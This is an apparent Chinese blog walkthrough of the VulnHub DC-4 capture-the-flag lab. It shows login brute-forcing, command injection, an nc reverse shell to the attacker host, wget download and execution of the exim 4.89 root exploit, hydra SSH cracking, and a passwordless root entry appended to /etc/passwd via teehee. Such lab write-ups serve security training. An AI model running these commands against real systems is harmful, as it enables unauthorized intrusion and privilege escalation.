DC-4靶场实战详解

DC-4靶场实战详解

环境安装

DC-4下载地址:https://www.vulnhub.com/entry/dc-4,313/

kali 与 DC-4 网络配置设为一致,我这里都是用nat模式

image-20220126111501966

寻找FLAG

信息收集

1.寻找靶机ip

我的kali ip为192.168.79.128

不知道kali ip的可以直接ip add 查看

在kali中使用nmap或者使用arp-scan

方法一:
	arp-scan -l
方法二:
    nmap -sP 192.168.79.0/24

image-20220128165038090

image-20220128165055903

确认靶机ip为 192.168.79.132

  1. 探测靶机开启的服务

使用nmap 进行服务探测

nmap -v -A 192.168.79.132

image-20220128165306150

image-20220128165351412

可以看到 开启了 80与22端口

3.访问开启的服务

访问 192.168.79.132

image-20220128165510756

随便用 Wappalyzer查看下是不是常用的cms 发现就是简单的用一个登录框,一个不是什么cms

4.目录爆破

image-20220128170804127

发现都给重定向到index.php

看来给的网站需要我们登录.

爆破登录

不太确定有没有sql注入点 直接用burpsuite跑万能密码就知道了

先抓包

image-20220128171110359

看到没有前端加密也没有验证码和token,那就直接跑字典就好了

发到攻击载荷用集束炸弹

image-20220128171321240

添加个sql注入试试

image-20220128171355945

image-20220128171414573

账号密码都加 反正也才1w+ 一下子就跑完了

image-20220128171513897

跑完发现回包都是一样的 基本可以确定 没办法sql注入。

尝试直接账号密码爆破这类默认账号一般是admin 可以尝试下

image-20220128173340665

密码使用burpsuite默认密码集试试

image-20220128173412375

image-20220128173502189

按长度来排序 发现happy 长度不一样 查看回包

image-20220128173546269

基本可以判断就是这个账号密码了测试登录

image-20220128173631870

image-20220128173641884

image-20220128173701712

点RUN 发现好像是命令执行了 ls -l 抓包看看

image-20220128173806783

果然 是通过关键字 radio 提交命令的 我们加个ip add命令试试

记得空格要加+号!!

ip add  		#ip+add

image-20220128174119215

image-20220128174137742

发现返回了信息,那下一步就是利用这个漏洞反弹shell了

反弹shell

尝试用nc看看可不可以反弹

kali上先开启侦听8080端口

nc -lvvp 8080

image-20220128175016332

修改命令执行的命令!

nc 192.168.79.128 8080 -e /bin/bash 
#	nc+192.168.79.128+8080+-e+/bin/bash 
#	空格+号代替

image-20220128174909538

image-20220128175051052

可以看到kali中获得了shell

使用python获得交互式界面

python -c "import pty;pty.spawn('/bin/bash')"

image-20220128175203188

提权

不知道是这题的问题还是什么问题因为我以前做过DC-8,所以DC-4发现了2个提权点。

一个就是DC-8里面用到的exim4提权

另一个是

exim4提权

先看看当前权限

image-20220128175804166

不是root权限

都先看看具有SUID权限的命令

find / -user root -perm -4000 -print 2>/dev/null

发现一个exim4

image-20220128175944119

查看查看exim4版本

exim4 --version		#查看exim4的版本

image-20220128180306190

我的天哪!又是4.89 和DC-8的一样 又是和DC-8一样的套路

先看看本地漏洞库

searchsploit exim 4

image-20220128190518587

46996符合exim 4.89 就用这个 拷贝到kali的apache web页面下

systemctl start apache2.service  									#开启apache
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html #拷贝到kali的apache web页面下

image-20220128190739436

访问kali web页面 复制payload下载地址

http://192.168.79.128/46996.sh

DC-4下载payload

wget http://192.168.79.128/46996.sh

image-20220128191325664

显示拒绝访问,看来是这个目录权限不够,我们移到/tmp里面

cd /tmp
wget http://192.168.79.128/46996.sh

image-20220128191446540

下载成功,给执行权限,并且运行。

chmod +x 46996.sh
./46996.sh

image-20220128191554818

image-20220128191635897

image-20220128191623006

成功获得root权限

执行exp报错

如果这里执行exp报错

执行脚本的时候提示 “/bin/bash^M: bad interpreter: No such file or directory” 的错误是由于脚本文件是 dos 格式,即每一行结尾以 \r\n 来标识,而 unix 格式的文件结尾以 \n 来标识

查看脚本文件是dos格式还是unix格式的几种办法。
cat -A filename  从显示结果可以判断,dos格式的文件行尾为^M$,unix格式的文件行尾为$。
od -t x1 filename 如果看到输出内容中存在0d 0a的字符,那么文件是dos格式,如果只有0a,则是unix格式。
vi filename    打开文件,执行 : set ff,如果文件为dos格式在显示为fileformat=dos,如果是unxi则显示为fileformat=unix。

解决方法:
使用linux命令dos2unix filename,直接把文件转换为unix格式
使用sed命令sed -i "s/\r//" filename  或者 sed -i "s/^M//" filename直接替换结尾符为unix格式
vi filename打开文件,执行 : set ff=unix 设置文件为unix,然后执行:wq,保存成unix格式。


————————————————
原文链接:https://blog.csdn.net/LZHPIG/article/details/104594330
teehee提权

我感觉这才是这个DC-4的正确解法

一样通过nc进入靶机,查看系统里面有什么文件

image-20220228203358608

慢慢查找发现有一个文件jim可以直接进去 然后里面有一些奇怪的文件 一个一个慢慢看

image-20220228203511579

发现了一大堆密码类似的东西,应该是给我们的提示 让我们爆破jim

把文件保存下来,爆破我们使用hydra

hydra -l jim -P mmmm.txt 192.168.79.132 ssh 

image-20220228204527160

可以得到ssh账号密码为:jim jibril04

使用kali登录jim

ssh jim@192.168.79.132

image-20220228204748297

接下来还是一顿搜索 发现jim有邮件

image-20220228204916095

进入邮件目录

cd var/spool/mail

image-20220228205228400

image-20220228205308969

可以看到发件人的账号和密码

账号:Charles

密码:^xHhA&hvim0y

直接su 切换用户试试

su Charles   #发现不行 然后试了一下小写就没问题
账号:charles

密码:^xHhA&hvim0y

su charles  # 然后输入密码即可

image-20220228205638383

查看 使用sudo运行的命令

sudo -l

image-20220228210011064

看到一个teehee提权 那我们可以用teehee写一些信息到/etc/passwd里面

/etc/passwd 内每个字段含义

username:password:User ID:Group ID:comment:home directory:shell

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
# 用户名admin 没有密码为管理员权限 进入的时候运行/bin/bash

image-20220228210326180

image-20220228210342419

可以看到我们获取到了root权限!!

FLAG

在root目录下

cd /root
cat flag.txt

image-20220128192145262

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值